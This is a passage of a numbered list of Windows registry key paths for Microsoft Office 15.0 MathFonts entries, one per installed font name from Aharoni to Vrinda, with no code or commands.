  1943. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1944. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1945. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1946. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1947. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1952. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1953. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1954. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1955. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1956. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1957. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1958. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1959. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1960. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1961. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1962. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1963. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1964. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1965. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1967. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1968. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1969. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1970. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1973. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1974. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1975. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1976. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1977. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1978. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1979. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1980. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1981. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1982. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1983. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1984. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1985. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1986. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1987. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1988. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1989. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1990. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1991. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1992. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1993. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1994. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1995. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1996. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1997. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1998. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1999. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  2000. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  2001. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  2002. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  2003. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  2004. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  2005. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  2006. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  2007. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  2008. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  2009. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  2010. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  2011. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  2012. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  2013. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  2014. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  2015. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  2016. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  2017. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  2018. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  2019. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  2020. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  2021. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  2022. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  2023. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  2024. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  2025. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  2026. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  2027. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  2028. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  2029. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  2030. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  2031. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  2032. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  2033. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  2034. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  2035. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  2036. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  2037. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  2038. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  2039. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  2040. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  2041. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  2042. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  2043. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  2044. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  2045. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  2046. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  2047. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  2048. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  2049. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  2050. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  2051. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  2052. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  2053. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  2054. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  2055. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  2056. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  2057. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  2058. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  2059. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  2060. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  2061. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  2062. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  2063. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  2064. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  2065. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  2066. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  2067. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  2068. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  2069. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  2070. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  2071. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  2072. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  2073. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  2074. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  2075. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  2076. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  2077. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  2078. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  2079. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  2080. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  2081. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  2082. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  2083. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  2084. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  2085. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  2086. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  2087. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  2088. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  2089. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  2090. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  2091. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  2092. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  2093. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  2094. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  2095. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  2096. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  2097. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  2098. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  2099. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  2100. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  2101. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  2102. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  2103. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  2104. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  2105. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  2106. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  2107. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  2108. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  2109. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  2110. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  2111. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  2112. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  2113. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  2114. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  2115. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  2116. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  2117. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  2118. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  2119. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  2120. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  2121. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  2122. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  2123. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  2124. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  2125. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  2126. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  2127. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  2128. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  2129. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  2130. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  2131. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  2132. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  2133. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  2134. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  2135. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  2136. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  2137. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  2138. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  2139. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  2140. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  2141. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  2142. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  2143. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  2144. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  2145. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  2146. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  2147. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  2148. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  2149. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  2150. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  2151. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  2152. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  2153. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  2154. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  2155. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  2156. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  2157. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  2158. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  2159. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  2160. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  2161. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  2162. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  2163. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  2164. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  2165. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  2166. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  2167. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  2168. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  2169. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  2170. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  2171. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  2172. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  2173. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  2174. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  2175. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  2176. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  2177. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  2178. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  2179. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  2180. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  2181. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  2182. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  2183. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  2184. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  2185. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  2186. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  2187. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  2188. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  2189. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  2190. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  2191. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
